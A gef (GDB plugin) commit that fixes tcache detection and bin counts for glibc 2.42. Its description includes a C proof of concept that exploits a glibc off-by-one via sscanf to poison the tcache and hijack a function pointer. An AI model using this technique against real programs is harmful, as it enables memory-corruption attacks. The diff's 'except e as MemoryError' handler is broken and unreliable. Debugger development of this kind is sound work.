Don't assume the tcache is the first allocated chunk and handle the 12 extra bins since glibc 2.42 (#1221)

## Description

If gef cannot resolve a pointer to the tcache through symbol lookup it
will assume the tcache is on the first allocated chunk.
This is not true on glibc 2.42 (and possibly previous versions) since
dlmalloc will only allocate the tcache [if the allocation being served
has a size that fits the
tcache](https://github.com/bminor/glibc/blob/glibc-2.42/malloc/malloc.c#L3474).
This PR add a simple heuristic that checks if the first 64 bytes the
first chunks are all less or equal to 7 (the max number of chunks in a
tcache bins). If not, the next chunk is considered and the check
repeated until a valid candidate is found or an error is raised (in this
case the first chunk is used as a fallback, preserving legacy).

In glibc 2.42 the tcache also changed in number of bins, increasing from
64 to 64+12. **I didn't check if any other structural change was made,
it seems not**.
This PR introduces two new instance variables in
`GlibcHeapTcachebinsCommand`: `tcache_max_bins` and `tcache_count_size`.
These are initialised in the ctor if the glibc version is known,
otherwise the `find_tcache` method will set them based on the glibc
version range inferred from the tcache chunk size (pretty much how the
count size was determined).

This patch was created to address this PoC of a recent glibc
vulnerability and was tested with glibc 2.42.

```
#include <assert.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void normal_func(void) {
    puts("We are safe :)");
}

static void malicious_func(void) {
    puts("Got hijacked!!");
}

#define width 0x409
int main(void) {
    __attribute__((aligned(16))) void (*func_ptr)(void) = normal_func;

    char *buf = NULL;
    char *input = malloc(width + 1);
    if (input == NULL)
        return 1;
    memset(input, 0x61, width);
    input[width] = '\0';

    // layout heap...
    size_t *chunk1 = malloc(0x408);
    size_t *chunk2 = malloc(0x28);
    size_t *chunk3 = malloc(0x28);
    size_t *chunk4 = malloc(0x28);
    free(chunk1);
    free(chunk4);

    // before off-by-one: [chunk2   ][chunk3   ]
    int rc = sscanf(input, "%1033mc", &buf);
    assert(rc != -1);

_b:
    // release [chunk2   [chunk3   ]]
    free(chunk2);
    free(chunk3);

    // now hijack chunk3->fd via chunk2
    chunk2 = malloc(0x58);
    chunk2[6] = (size_t)&func_ptr ^ ((size_t)chunk3 >> 12);

    // allocate chunk3 back, which is now at &func_ptr, write with another func
    size_t *chunk5 = malloc(0x28);
    chunk3 = malloc(0x28);
    *chunk3 = (size_t)malicious_func;

    func_ptr();

    free(buf);
    free(input);
    return 0;
}
```

```
gcc poc.c -g -o poc
gdb ./poc -ex 'b main:_b'  -ex 'r' -ex 'heap bins tcache'
```

You must **not** have debug symbols for glibc such that [`tcache_addr =
parse_address("(void *)
tcache")`](https://github.com/hugsy/gef/blob/main/gef.py#L6935) fails to
resolve.

When using the current version of gef:
<img width="751" height="430" alt="image"
src="https://github.com/user-attachments/assets/35daa681-1c75-4a41-a920-042f4da4b4ef"
/>
because `malloc(width + 1)` doesn't fit in the tcache range and it's the
first chunk allocated


When using the patched version of gef:

<img width="1171" height="83" alt="image"
src="https://github.com/user-attachments/assets/b4086e1e-1447-4d15-a80f-68cb7907e307"
/>
This commit is contained in:
qfalconer
2026-05-02 11:55:37 -07:00
committed by GitHub
parent f55b81256a
commit fd8ec6ff12
+103 -15
View File
@@ -6840,10 +6840,30 @@ class GlibcHeapTcachebinsCommand(GenericCommand):
_cmdline_ = "heap bins tcache"
_syntax_ = f"{_cmdline_} [all] [thread_ids...]"
TCACHE_MAX_BINS = 0x40
# Use the TCACHE_MAX_BINS constants only for size calculation!
# Use self.tcache_max_bins instead as it's detected at runtime
TCACHE_MAX_BINS = 0x40 # before glibc 2.42
TCACHE_MAX_BINS_2_42 = 0x4C # since glibc 2.42
# Max number of chunks in a tcache bin
TCACHE_MAX_CHUNKS_IN_BIN = 7
def __init__(self) -> None:
super().__init__(complete=gdb.COMPLETE_LOCATION)
# actual number of tcache bins
# this will be overridded by find_tcache if None
self.tcache_max_bins = None
# actual number of bytes for each slot_nums entry
# this will be overridded by find_tcache if None
self.tcache_count_size = None
# if we have a glibc version, set those value explicitly as we know them exactly
if gef.libc.version:
self.tcache_max_bins = self.TCACHE_MAX_BINS_2_42 if gef.libc.version >= (2, 42) else self.TCACHE_MAX_BINS
self.tcache_count_size = 2 if gef.libc.version and gef.libc.version >= (2, 30) else 1
return
@only_if_gdb_running
@@ -6881,7 +6901,7 @@ class GlibcHeapTcachebinsCommand(GenericCommand):
gef_print(titlify(f"Tcachebins for thread {thread.num:d}"))
tcache_empty = True
for i in range(self.TCACHE_MAX_BINS):
for i in range(self.tcache_max_bins):
chunk, count = self.tcachebin(tcache_addr, i)
chunks = set()
msg = []
@@ -6942,6 +6962,26 @@ class GlibcHeapTcachebinsCommand(GenericCommand):
err("No heap section")
return 0x0
tcache_addr = heap_base + 0x10
# Actually, recent version of glibc allocate the tcache only if malloc
# is requested to allocate a chunk of a size fitting the tcache range.
# So we cannot assume the first chunk is always the tcache.
# We will use a simple heuristic that check for specific patterns
# This is an approximation.
try:
candidate_tcache_chunk = GlibcChunk(tcache_addr)
while not self.check_chunk_is_tcache(candidate_tcache_chunk):
candidate_tcache_chunk = candidate_tcache_chunk.get_next_chunk()
tcache_addr = candidate_tcache_chunk.data_address
except e as MemoryError:
warn("Cannot find the tcache chunk, using the first allocated chunk. This may be wrong!")
# We found the tcache chunk but this structed changed over time
# update the attributes we need (max bins, count size) if needed
self.update_tcache_attributes(GlibcChunk(tcache_addr))
return tcache_addr
def check_thread_ids(self, tids: list[int]) -> list[int]:
@@ -6951,13 +6991,45 @@ class GlibcHeapTcachebinsCommand(GenericCommand):
def tcachebin(self, tcache_base: int, i: int) -> tuple[GlibcTcacheChunk | None, int]:
"""Return the head chunk in tcache[i] and the number of chunks in the bin."""
if i >= self.TCACHE_MAX_BINS:
if i >= self.tcache_max_bins:
err("Incorrect index value, index value must be between 0 and "
f"{self.TCACHE_MAX_BINS}-1, given {i}"
f"{self.tcache_max_bins}-1, given {i}"
)
return None, 0
tcache_chunk = GlibcTcacheChunk(tcache_base)
read_count = u16 if self.tcache_count_size == 2 else u8
count = read_count(gef.memory.read(tcache_base + self.tcache_count_size*i, self.tcache_count_size))
chunk = dereference(tcache_base + self.tcache_count_size*self.tcache_max_bins + i*gef.arch.ptrsize)
chunk = GlibcTcacheChunk(int(chunk)) if chunk else None
return chunk, count
def check_chunk_is_tcache(self, tcache_chunk: GlibcChunk) -> bool:
""" Check min chunk size and the first TCACHE_MAX_BINS bytes to be all <= TCACHE_MAX_BINS """
dbg(f"Checking tcache chunk at address {hex(tcache_chunk.data_address)}")
# glibc < 2.30 has the smallest tcache
tcache_min_size_2_30 = self.get_tcache_size(wide_slots = False, nbins = self.TCACHE_MAX_BINS)
# if this chunk is smaller, then it's not a tcache
if tcache_chunk.usable_size < tcache_min_size_2_30:
dbg(f"Chunk at address {hex(tcache_chunk.data_address)} is too small to be the tcache")
return False
# the chunk is big enough for an array of TCACHE_MAX_BINS bytes.
tcache_data = gef.memory.read(tcache_chunk.data_address, self.TCACHE_MAX_BINS)
# all TCACHE_MAX_BINS bytes must be less or equal to TCACHE_MAX_CHUNKS_IN_BIN
if all(map(lambda i: i <= self.TCACHE_MAX_CHUNKS_IN_BIN, tcache_data)):
return True
# this is not a tcache chunk as far as we can tell
return False
def update_tcache_attributes(self, tcache_chunk: GlibcChunk):
""" Update the max bin size and count size if they are not already set using the
tcache chunk size to infer the glibc version range """
# Glibc changed the size of the tcache in version 2.30; this fix has
# been backported inconsistently between distributions. We detect the
@@ -6968,20 +7040,36 @@ class GlibcHeapTcachebinsCommand(GenericCommand):
# TCACHE_MAX_BINS * _2_ + TCACHE_MAX_BINS * ptrsize
# For old tcache:
# TCACHE_MAX_BINS * _1_ + TCACHE_MAX_BINS * ptrsize
new_tcache_min_size = (
self.TCACHE_MAX_BINS * 2 +
self.TCACHE_MAX_BINS * gef.arch.ptrsize)
#
# Furthermore, since 2.42 there are 64+12 bins, not 64.
if tcache_chunk.usable_size < new_tcache_min_size:
tcache_count_size = 1
count = ord(gef.memory.read(tcache_base + tcache_count_size*i, 1))
size_from_2_30 = self.get_tcache_size(wide_slots = True, nbins = self.TCACHE_MAX_BINS)
size_from_2_42= self.get_tcache_size(wide_slots = True, nbins = self.TCACHE_MAX_BINS_2_42)
# does the tcache looks like a >= 2.42 tcache, based on its size?
if tcache_chunk.usable_size >= size_from_2_42:
detected_tcache_count_size = 2
detected_tcache_max_bins = self.TCACHE_MAX_BINS_2_42
# does the tcache looks like a < 2.30 tcache, based on its size?
elif tcache_chunk.usable_size < size_from_2_30:
detected_tcache_count_size = 1
detected_tcache_max_bins = self.TCACHE_MAX_BINS
# problably a tcache from >= 2.30 < 2.42
else:
tcache_count_size = 2
count = u16(gef.memory.read(tcache_base + tcache_count_size*i, 2))
detected_tcache_count_size = 2
detected_tcache_max_bins = self.TCACHE_MAX_BINS
chunk = dereference(tcache_base + tcache_count_size*self.TCACHE_MAX_BINS + i*gef.arch.ptrsize)
chunk = GlibcTcacheChunk(int(chunk)) if chunk else None
return chunk, count
# only update if not already set
if self.tcache_count_size is None:
self.tcache_count_size = detected_tcache_count_size
if self.tcache_max_bins is None:
self.tcache_max_bins = detected_tcache_max_bins
def get_tcache_size(self, wide_slots: bool, nbins: int) -> int:
""" Get the tcache size """
return nbins * ( (2 if wide_slots else 1) + gef.arch.ptrsize)
@register